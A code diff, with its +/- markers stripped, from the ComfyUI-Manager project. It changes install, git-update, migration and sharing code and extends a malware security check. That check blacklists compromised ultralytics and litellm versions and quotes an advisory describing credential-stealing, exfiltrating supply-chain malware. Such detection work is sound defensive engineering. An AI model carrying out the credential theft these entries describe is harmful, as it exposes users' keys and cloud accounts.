process = subprocess.Popen(command, env=get_script_env(), cwd=get_default_custom_nodes_path())
process.wait()
def execute_install_script(url, repo_path, lazy_mode=False, instant_execution=False, no_deps=False):
def execute_install_script(url, repo_path, lazy_mode=False, instant_execution=False, no_deps=False, selected_dependencies=None):
# import ipdb; ipdb.set_trace()
install_script_path = os.path.join(repo_path, "install.py")
requirements_path = os.path.join(repo_path, "requirements.txt")
@@ -1890,7 +1996,14 @@ def execute_install_script(url, repo_path, lazy_mode=False, instant_execution=Fa
else:
if os.path.exists(requirements_path) and not no_deps:
print("Install: pip packages")
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), context.comfy_path, context.manager_files_path)
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, manager_files_path)
# Create a set of selected dependency lines for quick lookup
selected_lines = set()
if selected_dependencies:
for dep in selected_dependencies:
selected_lines.add(dep.get('line', '').strip())
with open(requirements_path, "r") as requirements_file:
for line in requirements_file:
#handle comments
@@ -1901,6 +2014,10 @@ def execute_install_script(url, repo_path, lazy_mode=False, instant_execution=Fa
else:
line = line.split('#')[0].strip()
# Skip if selected_dependencies is provided and this line is not in the selected list
if selected_dependencies is not None and line.strip() not in selected_lines:
continue
package_name = remap_pip_package(line.strip())
if package_name and not package_name.startswith('#'):
@@ -1922,27 +2039,6 @@ def execute_install_script(url, repo_path, lazy_mode=False, instant_execution=Fa
return True
def install_manager_requirements(repo_path):
"""
Install packages from manager_requirements.txt if it exists.
This is specifically for ComfyUI's manager_requirements.txt.
"""
manager_requirements_path = os.path.join(repo_path, "manager_requirements.txt")
if not os.path.exists(manager_requirements_path):
return
logging.info("[ComfyUI-Manager] Installing manager_requirements.txt")
with open(manager_requirements_path, "r") as f:
for line in f:
line = line.strip()
if line and not line.startswith('#'):
if '#' in line:
line = line.split('#')[0].strip()
if line:
install_cmd = manager_util.make_pip_cmd(["install", line])
subprocess.run(install_cmd)
def git_repo_update_check_with(path, do_fetch=False, do_update=False, no_deps=False):
"""
@@ -2021,15 +2117,7 @@ def git_repo_update_check_with(path, do_fetch=False, do_update=False, no_deps=Fa
return False, True
try:
try:
repo.git.pull('--ff-only')
except git.GitCommandError:
backup_name = get_backup_branch_name(repo)
repo.create_head(backup_name)
logging.info(f"[ComfyUI-Manager] Cannot fast-forward. Backup created: {backup_name}")
repo.git.reset('--hard', f'{remote_name}/{branch_name}')
logging.info(f"[ComfyUI-Manager] Reset to {remote_name}/{branch_name}")
remote.pull()
repo.git.submodule('update', '--init', '--recursive')
new_commit_hash = repo.head.commit.hexsha
@@ -2086,18 +2174,26 @@ class GitProgress(RemoteProgress):
def is_valid_url(url):
# Check for HTTP/HTTPS URL format
result = urlparse(url)
if result.scheme and result.netloc:
return True
# Check for SSH git URL format
if SSH_URL_PATTERN.match(url):
return True
try:
# Check for HTTP/HTTPS URL format
result = urlparse(url)
if all([result.scheme, result.netloc]):
return True
finally:
# Check for SSH git URL format
pattern = re.compile(r"^(.+@|ssh://).+:.+$")
if pattern.match(url):
return True
return False
def extract_url_and_commit_id(s):
index = s.rfind('@')
if index == -1:
return (s, '')
else:
return (s[:index], s[index+1:])
async def gitclone_install(url, instant_execution=False, msg_prefix='', no_deps=False):
await unified_manager.reload('cache')
await unified_manager.get_custom_nodes('default', 'cache')
@@ -2115,8 +2211,11 @@ async def gitclone_install(url, instant_execution=False, msg_prefix='', no_deps=
cnr = unified_manager.get_cnr_by_repo(url)
if cnr:
cnr_id = cnr['id']
return await unified_manager.install_by_id(cnr_id, version_spec='nightly', channel='default', mode='cache')
return await unified_manager.install_by_id(cnr_id, version_spec=None, channel='default', mode='cache')
else:
new_url, commit_id = extract_url_and_commit_id(url)
if commit_id != "":
url = new_url
repo_name = os.path.splitext(os.path.basename(url))[0]
# NOTE: Keep original name as possible if unknown node
@@ -2144,11 +2243,15 @@ async def gitclone_install(url, instant_execution=False, msg_prefix='', no_deps=
clone_url = git_utils.get_url_for_clone(url)
if not instant_execution and platform.system() == 'Windows':
res = manager_funcs.run_script([sys.executable, context.git_script_path, "--clone", get_default_custom_nodes_path(), clone_url, repo_path], cwd=get_default_custom_nodes_path())
res = manager_funcs.run_script([sys.executable, git_script_path, "--clone", get_default_custom_nodes_path(), clone_url, repo_path], cwd=get_default_custom_nodes_path())
if res != 0:
return result.fail(f"Failed to clone '{clone_url}' into '{repo_path}'")
else:
repo = git.Repo.clone_from(clone_url, repo_path, recursive=True, progress=GitProgress())
if commit_id!= "":
repo.git.checkout(commit_id)
repo.git.submodule('update', '--init', '--recursive')
repo.git.clear_cache()
repo.close()
@@ -2183,12 +2286,12 @@ def git_pull(path):
current_branch = repo.active_branch
remote_name = current_branch.tracking_branch().remote_name
branch_name = current_branch.name
try:
repo.git.pull('--ff-only')
except git.GitCommandError:
backup_name = get_backup_branch_name(repo)
branch_name = current_branch.name
backup_name = f'backup_{time.strftime("%Y%m%d_%H%M%S")}'
repo.create_head(backup_name)
logging.info(f"[ComfyUI-Manager] Cannot fast-forward. Backup created: {backup_name}")
repo.git.reset('--hard', f'{remote_name}/{branch_name}')
@@ -2219,7 +2322,7 @@ async def get_data_by_mode(mode, filename, channel_url=None):
cache_uri = str(manager_util.simple_hash(uri))+'_'+filename
cache_uri = os.path.join(manager_util.cache_dir, cache_uri)
if get_config()['network_mode'] == 'offline' or manager_util.is_manager_pip_package():
if get_config()['network_mode'] == 'offline':
# offline network mode
if os.path.exists(cache_uri):
json_obj = await manager_util.get_data(cache_uri)
@@ -2239,7 +2342,7 @@ async def get_data_by_mode(mode, filename, channel_url=None):
with open(cache_uri, "w", encoding='utf-8') as file:
json.dump(json_obj, file, indent=4, sort_keys=True)
except Exception as e:
print(f"[ComfyUI-Manager] Due to a network error, switching to local mode.\n=> {filename} @ {channel_url}/{mode}\n=> {e}")
print(f"[ComfyUI-Manager] Due to a network error, switching to local mode.\n=> {filename}\n=> {e}")
uri = os.path.join(manager_util.comfyui_manager_path, filename)
json_obj = await manager_util.get_data(uri)
@@ -2310,7 +2413,7 @@ def gitclone_uninstall(files):
url = url[:-1]
try:
for custom_nodes_dir in get_custom_nodes_paths():
dir_name:str = os.path.splitext(os.path.basename(url))[0].replace(".git", "")
dir_name = os.path.splitext(os.path.basename(url))[0].replace(".git", "")
dir_path = os.path.join(custom_nodes_dir, dir_name)
# safety check
@@ -2358,7 +2461,7 @@ def gitclone_set_active(files, is_disable):
url = url[:-1]
try:
for custom_nodes_dir in get_custom_nodes_paths():
dir_name:str = os.path.splitext(os.path.basename(url))[0].replace(".git", "")
dir_name = os.path.splitext(os.path.basename(url))[0].replace(".git", "")
dir_path = os.path.join(custom_nodes_dir, dir_name)
# safety check
@@ -2455,7 +2558,7 @@ def update_to_stable_comfyui(repo_path):
repo = git.Repo(repo_path)
try:
repo.git.checkout(repo.heads.master)
except Exception:
except:
logging.error(f"[ComfyUI-Manager] Failed to checkout 'master' branch.\nrepo_path={repo_path}\nAvailable branches:")
for branch in repo.branches:
logging.error('\t'+branch.name)
@@ -2479,7 +2582,7 @@ def update_to_stable_comfyui(repo_path):
repo.git.checkout(tag_ref.name)
execute_install_script("ComfyUI", repo_path, instant_execution=False, no_deps=False)
return 'updated', latest_tag
except Exception:
except:
traceback.print_exc()
return "fail", None
@@ -2636,7 +2739,7 @@ async def get_current_snapshot(custom_nodes_only = False):
await unified_manager.get_custom_nodes('default', 'cache')
# Get ComfyUI hash
repo_path = context.comfy_path
repo_path = comfy_path
comfyui_commit_hash = None
if not custom_nodes_only:
@@ -2681,7 +2784,7 @@ async def get_current_snapshot(custom_nodes_only = False):
commit_hash = git_utils.get_commit_hash(fullpath)
url = git_utils.git_url(fullpath)
git_custom_nodes[url] = dict(hash=commit_hash, disabled=is_disabled)
except Exception:
except:
print(f"Failed to extract snapshots for the custom node '{path}'.")
elif path.endswith('.py'):
@@ -2707,10 +2810,12 @@ async def get_current_snapshot(custom_nodes_only = False):
async def save_snapshot_with_postfix(postfix, path=None, custom_nodes_only = False):
if path is None:
date_time_format = get_timestamp_for_path()
now = datetime.now()
date_time_format = now.strftime("%Y-%m-%d_%H-%M-%S")
file_name = f"{date_time_format}_{postfix}"
path = os.path.join(context.manager_snapshot_path, f"{file_name}.json")
path = os.path.join(manager_snapshot_path, f"{file_name}.json")
else:
file_name = path.replace('\\', '/').split('/')[-1]
file_name = file_name.split('.')[-2]
@@ -2737,7 +2842,7 @@ async def extract_nodes_from_workflow(filepath, mode='local', channel_url='defau
with open(filepath, "r", encoding="UTF-8", errors="ignore") as json_file:
try:
workflow = json.load(json_file)
except Exception:
except:
print(f"Invalid workflow file: {filepath}")
exit(-1)
@@ -2750,7 +2855,7 @@ async def extract_nodes_from_workflow(filepath, mode='local', channel_url='defau
else:
try:
workflow = json.loads(img.info['workflow'])
except Exception:
except:
print(f"This is not a valid .png file containing a ComfyUI workflow: {filepath}")
exit(-1)
@@ -3021,7 +3126,7 @@ def populate_github_stats(node_packs, json_obj_github):
v['stars'] = -1
v['last_update'] = -1
v['trust'] = False
except Exception:
except:
logging.error(f"[ComfyUI-Manager] DB item is broken:\n{v}")
@@ -3298,13 +3403,13 @@ async def restore_snapshot(snapshot_path, git_helper_extras=None):
def get_comfyui_versions(repo=None):
repo = repo or git.Repo(context.comfy_path)
repo = repo or git.Repo(comfy_path)
remote_name = None
try:
remote_name = get_remote_name(repo)
repo.remotes[remote_name].fetch()
except Exception:
except:
logging.error("[ComfyUI-Manager] Failed to fetch ComfyUI")
def parse_semver(tag_name):
@@ -3345,12 +3450,7 @@ def get_comfyui_versions(repo=None):
default_commit = default_head_ref.reference.commit
head_is_default = repo.head.commit == default_commit
except Exception:
# Fallback: compare directly with master branch
try:
if 'master' in [h.name for h in repo.heads]:
head_is_default = repo.head.commit == repo.heads.master.commit
except Exception:
head_is_default = False
head_is_default = False
nearest_semver = normalize_describe(described)
exact_semver = exact_tag if parse_semver(exact_tag) else None
@@ -3382,7 +3482,7 @@ def get_comfyui_versions(repo=None):
def switch_comfyui(tag):
repo = git.Repo(context.comfy_path)
repo = git.Repo(comfy_path)
if tag == 'nightly':
repo.git.checkout('master')
@@ -3422,5 +3522,5 @@ def repo_switch_commit(repo_path, commit_hash):
repo.git.checkout(commit_hash)
return True
except Exception:
except:
return None
+356
View File
@@ -0,0 +1,356 @@
"""
ComfyUI-Manager migration module.
Handles migration from legacy paths to new __manager path structure.
"""
import os
import sys
import subprocess
import configparser
# Startup notices for notice board
startup_notices = [] # List of (message, level) tuples
def add_startup_notice(message, level='warning'):
"""Add a notice to be displayed on Manager notice board.
Args:
message: HTML-formatted message string
level: 'warning', 'error', 'info'
"""
global startup_notices
startup_notices.append((message, level))
# Cache for API check (computed once per session)
_cached_has_system_user_api = None
def has_system_user_api():
"""Check if ComfyUI has the System User Protection API (PR #10966).
Result is cached for performance.
"""
global _cached_has_system_user_api
if _cached_has_system_user_api is None:
try:
import folder_paths
_cached_has_system_user_api = hasattr(folder_paths, 'get_system_user_directory')
except Exception:
_cached_has_system_user_api = False
return _cached_has_system_user_api
def get_manager_path(user_dir):
"""Get the appropriate manager files path based on ComfyUI version.
Returns:
str: manager_files_path
"""
if has_system_user_api():
return os.path.abspath(os.path.join(user_dir, '__manager'))
else:
return os.path.abspath(os.path.join(user_dir, 'default', 'ComfyUI-Manager'))
def run_migration_checks(user_dir, manager_files_path):
"""Run all migration and security checks.
Call this after get_manager_path() to handle:
- Legacy config migration (new ComfyUI)
- Legacy backup notification (every startup)
- Suspicious directory detection (old ComfyUI)
- Outdated ComfyUI warning (old ComfyUI)
"""
if has_system_user_api():
migrated = migrate_legacy_config(user_dir, manager_files_path)
# Only check for legacy backup if migration didn't just happen
# (migration already shows backup location in its message)
if not migrated:
check_legacy_backup(manager_files_path)
else:
check_suspicious_manager(user_dir)
warn_outdated_comfyui()
def check_legacy_backup(manager_files_path):
"""Check for legacy backup and notify user to verify and remove it.
This runs on every startup to remind users about pending legacy backup.
"""
backup_dir = os.path.join(manager_files_path, '.legacy-manager-backup')
if not os.path.exists(backup_dir):
return
# Terminal output
print("\n" + "-"*70)
print("[ComfyUI-Manager] NOTICE: Legacy backup exists")
print(" - Your old Manager data was backed up to:")
print(f" {backup_dir}")
print(" - Please verify and remove it when no longer needed.")
print("-"*70 + "\n")
# Notice board output
add_startup_notice(
"Legacy ComfyUI-Manager data backup exists. Please verify and remove when no longer needed. See terminal for details.",
level='info'
)
def check_suspicious_manager(user_dir):
"""Check for suspicious __manager directory on old ComfyUI.
On old ComfyUI without System User API, if __manager exists with low security,
warn the user to verify manually.
Returns:
bool: True if suspicious setup detected
"""
if has_system_user_api():
return False # Not suspicious on new ComfyUI
suspicious_path = os.path.abspath(os.path.join(user_dir, '__manager'))
if not os.path.exists(suspicious_path):
return False
config_path = os.path.join(suspicious_path, 'config.ini')
if not os.path.exists(config_path):
return False
config = configparser.ConfigParser()
config.read(config_path)
sec_level = config.get('default', 'security_level', fallback='normal').lower()
if sec_level in ['weak', 'normal-']:
# Terminal output
print("\n" + "!"*70)
print("[ComfyUI-Manager] ERROR: Suspicious path detected!")
print(f" - '__manager' exists with low security level: '{sec_level}'")
print(" - Please verify manually:")
print(f" {config_path}")
print("!"*70 + "\n")
# Notice board output
add_startup_notice(
"[Security Alert] Suspicious path detected. See terminal log for details.",
level='error'
)
return True
return False
def warn_outdated_comfyui():
"""Warn user about outdated ComfyUI without System User API."""
if has_system_user_api():
return
# Terminal output
print("\n" + "!"*70)
print("[ComfyUI-Manager] ERROR: ComfyUI version is outdated!")
print(" - Most operations are blocked for security.")
print(" - ComfyUI update is still allowed.")
print(" - Please update ComfyUI to use Manager normally.")
print("!"*70 + "\n")
# Notice board output
add_startup_notice(
"[Security Alert] ComfyUI outdated. Installations blocked (update allowed).<BR>"
"Update ComfyUI for normal operation.",
level='error'
)
def migrate_legacy_config(user_dir, manager_files_path):
"""Migrate ONLY config.ini to new __manager path if needed.
IMPORTANT: Only config.ini is migrated. Other files (snapshots, cache, etc.)
are NOT migrated - users must recreate them.
Scenarios:
1. Legacy exists, New doesn't exist → Migrate config.ini
2. Legacy exists, New exists First update after upgrade
- Run ComfyUI dependency installation
- Rename legacy to .backup
3. Legacy doesn't exist → No migration needed
Returns:
bool: True if migration was performed
"""
if not has_system_user_api():
return False
legacy_dir = os.path.join(user_dir, 'default', 'ComfyUI-Manager')
legacy_config = os.path.join(legacy_dir, 'config.ini')
new_config = os.path.join(manager_files_path, 'config.ini')
if not os.path.exists(legacy_dir):
return False # No legacy directory, nothing to migrate
# IMPORTANT: Check for config.ini existence, not just directory
# (because makedirs() creates __manager before this function is called)
# Case: Both configs exist (first update after ComfyUI upgrade)
# This means user ran new ComfyUI at least once, creating __manager/config.ini
if os.path.exists(legacy_config) and os.path.exists(new_config):
_handle_first_update_migration(user_dir, legacy_dir, manager_files_path)
return True
# Case: Legacy config exists but new config doesn't (normal migration)
# This is the first run after ComfyUI upgrade
if os.path.exists(legacy_config) and not os.path.exists(new_config):
pass # Continue with normal migration below
else:
return False
# Terminal output
print("\n" + "-"*70)
print("[ComfyUI-Manager] NOTICE: Legacy config.ini detected")
print(f" - Old: {legacy_config}")
print(f" - New: {new_config}")
print(" - Migrating config.ini only (other files are NOT migrated).")
print(" - Security level below 'normal' will be raised.")
print("-"*70 + "\n")
_migrate_config_with_security_check(legacy_config, new_config)
# Move legacy directory to backup
_move_legacy_to_backup(legacy_dir, manager_files_path)
return True
def _handle_first_update_migration(user_dir, legacy_dir, manager_files_path):
"""Handle first ComfyUI update when both legacy and new directories exist.
This scenario happens when:
- User was on old ComfyUI (using default/ComfyUI-Manager)
- ComfyUI was updated (now has System User API)
- Manager already created __manager on first new run
- But legacy directory still exists
Actions:
1. Run ComfyUI dependency installation
2. Move legacy to __manager/.legacy-manager-backup
"""
# Terminal output
print("\n" + "-"*70)
print("[ComfyUI-Manager] NOTICE: First update after ComfyUI upgrade detected")
print(" - Both legacy and new directories exist.")
print(" - Running ComfyUI dependency installation...")
print("-"*70 + "\n")
# Run ComfyUI dependency installation
# Path: glob/manager_migration.py → glob → comfyui-manager → custom_nodes → ComfyUI
try:
comfyui_path = os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname(__file__))))
requirements_path = os.path.join(comfyui_path, 'requirements.txt')
if os.path.exists(requirements_path):
subprocess.run([sys.executable, '-m', 'pip', 'install', '-r', requirements_path],
capture_output=True, check=False)
print("[ComfyUI-Manager] ComfyUI dependencies installation completed.")
except Exception as e:
print(f"[ComfyUI-Manager] WARNING: Failed to install ComfyUI dependencies: {e}")
# Move legacy to backup inside __manager
_move_legacy_to_backup(legacy_dir, manager_files_path)
def _move_legacy_to_backup(legacy_dir, manager_files_path):
"""Move legacy directory to backup inside __manager.
Returns:
str: Path to backup directory if successful, None if failed
"""
import shutil
backup_dir = os.path.join(manager_files_path, '.legacy-manager-backup')
try:
if os.path.exists(backup_dir):
shutil.rmtree(backup_dir) # Remove old backup if exists
shutil.move(legacy_dir, backup_dir)
# Terminal output (full paths shown here only)
print("\n" + "-"*70)
print("[ComfyUI-Manager] NOTICE: Legacy settings migrated")
print(f" - Old location: {legacy_dir}")
print(f" - Backed up to: {backup_dir}")
print(" - Please verify and remove the backup when no longer needed.")
print("-"*70 + "\n")
# Notice board output (no full paths for security)
add_startup_notice(
"Legacy ComfyUI-Manager data migrated. See terminal for details.",
level='info'
)
return backup_dir
except Exception as e:
print(f"[ComfyUI-Manager] WARNING: Failed to backup legacy directory: {e}")
add_startup_notice(
f"[MIGRATION] Failed to backup legacy directory: {e}",
level='warning'
)
return None
def _migrate_config_with_security_check(legacy_path, new_path):
"""Migrate legacy config, raising security level only if below default."""
config = configparser.ConfigParser()
try:
config.read(legacy_path)
except Exception as e:
print(f"[ComfyUI-Manager] WARNING: Failed to parse config.ini: {e}")
print(" - Creating fresh config with default settings.")
add_startup_notice(
"[MIGRATION] Failed to parse legacy config. Using defaults.",
level='warning'
)
return # Skip migration, let Manager create fresh config
# Security level hierarchy: strong > normal > normal- > weak
# Default is 'normal', only raise if below default
if 'default' in config:
current_level = config['default'].get('security_level', 'normal').lower()
below_default_levels = ['weak', 'normal-']
if current_level in below_default_levels:
config['default']['security_level'] = 'normal'
# Terminal output
print("\n" + "="*70)
print("[ComfyUI-Manager] WARNING: Security level adjusted")
print(f" - Previous: '{current_level}' → New: 'normal'")
print(" - Raised to prevent unauthorized remote access.")
print("="*70 + "\n")
# Notice board output
add_startup_notice(
f"[MIGRATION] Security level raised: '{current_level}''normal'.<BR>"
"To prevent unauthorized remote access.",
level='warning'
)
else:
print(f" - Security level: '{current_level}' (no change needed)")
# Ensure directory exists
os.makedirs(os.path.dirname(new_path), exist_ok=True)
with open(new_path, 'w') as f:
config.write(f)
def force_security_level_if_needed(config_dict):
"""Force security level to 'strong' if on old ComfyUI.
Args:
config_dict: Configuration dictionary to modify in-place
Returns:
bool: True if security level was forced
"""
if not has_system_user_api():
config_dict['security_level'] = 'strong'
return True
return False
File diff suppressed because it is too large Load Diff
@@ -8,29 +8,24 @@ import aiohttp
import json
import threading
import os
from datetime import datetime
import subprocess
import sys
import re
import logging
import platform
import shlex
import time
from functools import lru_cache
cache_lock = threading.Lock()
session_lock = threading.Lock()
comfyui_manager_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))
cache_dir = os.path.join(comfyui_manager_path, '.cache') # This path is also updated together in **manager_core.update_user_directory**.
use_uv = False
use_unified_resolver = False
bypass_ssl = False
def is_manager_pip_package():
return not os.path.exists(os.path.join(comfyui_manager_path, '..', 'custom_nodes'))
def add_python_path_to_env():
if platform.system() != "Windows":
sep = ':'
@@ -60,7 +55,7 @@ def get_pip_cmd(force_uv=False):
subprocess.check_output(test_cmd, stderr=subprocess.DEVNULL, timeout=5)
return [sys.executable] + (['-s'] if embedded else []) + ['-m', 'pip']
except Exception:
logging.warning("[ComfyUI-Manager] python -m pip not available. Falling back to uv.")
logging.warning("[ComfyUI-Manager] `python -m pip` not available. Falling back to `uv`.")
# Try uv (either forced or pip failed)
import shutil
@@ -69,19 +64,19 @@ def get_pip_cmd(force_uv=False):
try:
test_cmd = [sys.executable] + (['-s'] if embedded else []) + ['-m', 'uv', '--version']
subprocess.check_output(test_cmd, stderr=subprocess.DEVNULL, timeout=5)
logging.info("[ComfyUI-Manager] Using uv as Python module for pip operations.")
logging.info("[ComfyUI-Manager] Using `uv` as Python module for pip operations.")
return [sys.executable] + (['-s'] if embedded else []) + ['-m', 'uv', 'pip']
except Exception:
pass
# Try standalone uv
if shutil.which('uv'):
logging.info("[ComfyUI-Manager] Using standalone uv for pip operations.")
logging.info("[ComfyUI-Manager] Using standalone `uv` for pip operations.")
return ['uv', 'pip']
# Nothing worked
logging.error("[ComfyUI-Manager] Neither python -m pip nor uv are available. Cannot proceed with package operations.")
raise Exception("Neither pip nor uv are available for package management")
logging.error("[ComfyUI-Manager] Neither `python -m pip` nor `uv` are available. Cannot proceed with package operations.")
raise Exception("Neither `pip` nor `uv` are available for package management")
def make_pip_cmd(cmd):
@@ -102,7 +97,7 @@ def make_pip_cmd(cmd):
# DON'T USE StrictVersion - cannot handle pre_release version
# try:
# from distutils.version import StrictVersion
# except Exception:
# except:
# print(f"[ComfyUI-Manager] 'distutils' package not found. Activating fallback mode for compatibility.")
class StrictVersion:
def __init__(self, version_string):
@@ -177,7 +172,7 @@ def is_file_created_within_one_day(file_path):
return False
file_creation_time = os.path.getctime(file_path)
current_time = time.time()
current_time = datetime.now().timestamp()
time_difference = current_time - file_creation_time
return time_difference <= 86400
@@ -557,7 +552,7 @@ def robust_readlines(fullpath):
try:
with open(fullpath, "r") as f:
return f.readlines()
except Exception:
except:
encoding = None
with open(fullpath, "rb") as f:
raw_data = f.read()
@@ -3,7 +3,7 @@ from __future__ import annotations
from dataclasses import dataclass
import os
from .git_utils import get_commit_hash
from git_utils import get_commit_hash
@dataclass
@@ -2,7 +2,7 @@ import sys
import subprocess
import os
from . import manager_util
import manager_util
def security_check():
@@ -53,6 +53,40 @@ And kill and remove /tmp/ultralytics_runner
The version 8.3.41 to 8.3.42 of the Ultralytics package you installed is compromised. Please uninstall that version and reinstall the latest version.
https://blog.comfy.org/comfyui-statement-on-the-ultralytics-crypto-miner-situation/
""",
"litellm==1.82.7": f"""
Execute following commands:
{sys.executable} -m pip uninstall litellm
The litellm PyPI package versions 1.82.7 and 1.82.8 were compromised via a supply chain attack.
Malicious code harvests SSH keys, environment variables, API keys, cloud credentials, and exfiltrates them to an attacker-controlled server.
Version 1.82.8 also installs a .pth file that executes malware on ANY Python startup, even without importing litellm.
1. Uninstall litellm immediately.
2. Assume all credentials accessible to the litellm environment are compromised.
3. Rotate all API keys, cloud credentials, SSH keys, and database passwords.
4. Check site-packages for unexpected .pth files (e.g. litellm_init.pth) and remove them.
5. Run a full malware scan.
Details: https://github.com/BerriAI/litellm/issues/24518
Advisory: PYSEC-2026-2
""",
"litellm==1.82.8": f"""
Execute following commands:
{sys.executable} -m pip uninstall litellm
The litellm PyPI package versions 1.82.7 and 1.82.8 were compromised via a supply chain attack.
Malicious code harvests SSH keys, environment variables, API keys, cloud credentials, and exfiltrates them to an attacker-controlled server.
Version 1.82.8 also installs a .pth file that executes malware on ANY Python startup, even without importing litellm.
1. Uninstall litellm immediately.
2. Assume all credentials accessible to the litellm environment are compromised.
3. Rotate all API keys, cloud credentials, SSH keys, and database passwords.
4. Check site-packages for unexpected .pth files (e.g. litellm_init.pth) and remove them.
5. Run a full malware scan.
Details: https://github.com/BerriAI/litellm/issues/24518
Advisory: PYSEC-2026-2
"""
}
@@ -60,7 +94,10 @@ https://blog.comfy.org/comfyui-statement-on-the-ultralytics-crypto-miner-situati
pip_blacklist = {
"AppleBotzz": "ComfyUI_LLMVISION",
"ultralytics==8.3.41": "ultralytics==8.3.41"
"ultralytics==8.3.41": "ultralytics==8.3.41",
"ultralytics==8.3.42": "ultralytics==8.3.42",
"litellm==1.82.7": "litellm==1.82.7",
"litellm==1.82.8": "litellm==1.82.8",
}
file_blacklist = {
@@ -93,10 +130,15 @@ https://blog.comfy.org/comfyui-statement-on-the-ultralytics-crypto-miner-situati
print(f"[SECURITY ALERT] custom node '{k}' is dangerous.")
detected.add(v)
installed_pip_set = set(installed_pips.strip().split('\n'))
for k, v in pip_blacklist.items():
if k in installed_pips:
detected.add(v)
break
if '==' in k:
if k in installed_pip_set:
detected.add(v)
else:
if any(line.split('==')[0] == k for line in installed_pip_set):
detected.add(v)
for k, v in file_blacklist.items():
for x in v:
@@ -105,10 +147,14 @@ https://blog.comfy.org/comfyui-statement-on-the-ultralytics-crypto-miner-situati
break
if len(detected) > 0:
for line in installed_pips.split('\n'):
for line in installed_pip_set:
for k, v in pip_blacklist.items():
if k in line:
print(f"[SECURITY ALERT] '{line}' is dangerous.")
if '==' in k:
if line == k:
print(f"[SECURITY ALERT] '{line}' is dangerous.")
else:
if line.split('==')[0] == k:
print(f"[SECURITY ALERT] '{line}' is dangerous.")
print("\n########################################################################")
print(" Malware has been detected, forcibly terminating ComfyUI execution.")
@@ -1,7 +1,5 @@
import mimetypes
from ..common import context
from . import manager_core as core
import manager_core as core
import os
from aiohttp import web
import aiohttp
@@ -10,16 +8,6 @@ import hashlib
import folder_paths
from server import PromptServer
import logging
import sys
try:
from nio import AsyncClient, LoginResponse, UploadResponse
matrix_nio_is_available = True
except Exception:
logging.warning(f"[ComfyUI-Manager] The matrix sharing feature has been disabled because the `matrix-nio` dependency is not installed.\n\tTo use this feature, please run the following command:\n\t{sys.executable} -m pip install matrix-nio\n")
matrix_nio_is_available = False
def extract_model_file_names(json_data):
@@ -65,7 +53,7 @@ def compute_sha256_checksum(filepath):
return sha256.hexdigest()
@PromptServer.instance.routes.get("/v2/manager/share_option")
@PromptServer.instance.routes.get("/manager/share_option")
async def share_option(request):
if "value" in request.rel_url.query:
core.get_config()['share_option'] = request.rel_url.query['value']
@@ -77,21 +65,21 @@ async def share_option(request):
def get_openart_auth():
if not os.path.exists(os.path.join(context.manager_files_path, ".openart_key")):
if not os.path.exists(os.path.join(core.manager_files_path, ".openart_key")):
return None
try:
with open(os.path.join(context.manager_files_path, ".openart_key"), "r") as f:
with open(os.path.join(core.manager_files_path, ".openart_key"), "r") as f:
openart_key = f.read().strip()
return openart_key if openart_key else None
except Exception:
except:
return None
def get_matrix_auth():
if not os.path.exists(os.path.join(context.manager_files_path, "matrix_auth")):
if not os.path.exists(os.path.join(core.manager_files_path, "matrix_auth")):
return None
try:
with open(os.path.join(context.manager_files_path, "matrix_auth"), "r") as f:
with open(os.path.join(core.manager_files_path, "matrix_auth"), "r") as f:
matrix_auth = f.read()
homeserver, username, password = matrix_auth.strip().split("\n")
if not homeserver or not username or not password:
@@ -101,40 +89,40 @@ def get_matrix_auth():
"username": username,
"password": password,
}
except Exception:
except:
return None
def get_comfyworkflows_auth():
if not os.path.exists(os.path.join(context.manager_files_path, "comfyworkflows_sharekey")):
if not os.path.exists(os.path.join(core.manager_files_path, "comfyworkflows_sharekey")):
return None
try:
with open(os.path.join(context.manager_files_path, "comfyworkflows_sharekey"), "r") as f:
with open(os.path.join(core.manager_files_path, "comfyworkflows_sharekey"), "r") as f:
share_key = f.read()
if not share_key.strip():
return None
return share_key
except Exception:
except:
return None
def get_youml_settings():
if not os.path.exists(os.path.join(context.manager_files_path, ".youml")):
if not os.path.exists(os.path.join(core.manager_files_path, ".youml")):
return None
try:
with open(os.path.join(context.manager_files_path, ".youml"), "r") as f:
with open(os.path.join(core.manager_files_path, ".youml"), "r") as f:
youml_settings = f.read().strip()
return youml_settings if youml_settings else None
except Exception:
except:
return None
def set_youml_settings(settings):
with open(os.path.join(context.manager_files_path, ".youml"), "w") as f:
with open(os.path.join(core.manager_files_path, ".youml"), "w") as f:
f.write(settings)
@PromptServer.instance.routes.get("/v2/manager/get_openart_auth")
@PromptServer.instance.routes.get("/manager/get_openart_auth")
async def api_get_openart_auth(request):
# print("Getting stored Matrix credentials...")
openart_key = get_openart_auth()
@@ -143,16 +131,16 @@ async def api_get_openart_auth(request):
return web.json_response({"openart_key": openart_key})
@PromptServer.instance.routes.post("/v2/manager/set_openart_auth")
@PromptServer.instance.routes.post("/manager/set_openart_auth")
async def api_set_openart_auth(request):
json_data = await request.json()
openart_key = json_data['openart_key']
with open(os.path.join(context.manager_files_path, ".openart_key"), "w") as f:
with open(os.path.join(core.manager_files_path, ".openart_key"), "w") as f:
f.write(openart_key)
return web.Response(status=200)
@PromptServer.instance.routes.get("/v2/manager/get_matrix_auth")
@PromptServer.instance.routes.get("/manager/get_matrix_auth")
async def api_get_matrix_auth(request):
# print("Getting stored Matrix credentials...")
matrix_auth = get_matrix_auth()
@@ -161,7 +149,7 @@ async def api_get_matrix_auth(request):
return web.json_response(matrix_auth)
@PromptServer.instance.routes.get("/v2/manager/youml/settings")
@PromptServer.instance.routes.get("/manager/youml/settings")
async def api_get_youml_settings(request):
youml_settings = get_youml_settings()
if not youml_settings:
@@ -169,14 +157,14 @@ async def api_get_youml_settings(request):
return web.json_response(json.loads(youml_settings))
@PromptServer.instance.routes.post("/v2/manager/youml/settings")
@PromptServer.instance.routes.post("/manager/youml/settings")
async def api_set_youml_settings(request):
json_data = await request.json()
set_youml_settings(json.dumps(json_data))
return web.Response(status=200)
@PromptServer.instance.routes.get("/v2/manager/get_comfyworkflows_auth")
@PromptServer.instance.routes.get("/manager/get_comfyworkflows_auth")
async def api_get_comfyworkflows_auth(request):
# Check if the user has provided Matrix credentials in a file called 'matrix_accesstoken'
# in the same directory as the ComfyUI base folder
@@ -187,39 +175,31 @@ async def api_get_comfyworkflows_auth(request):
return web.json_response({"comfyworkflows_sharekey": comfyworkflows_auth})
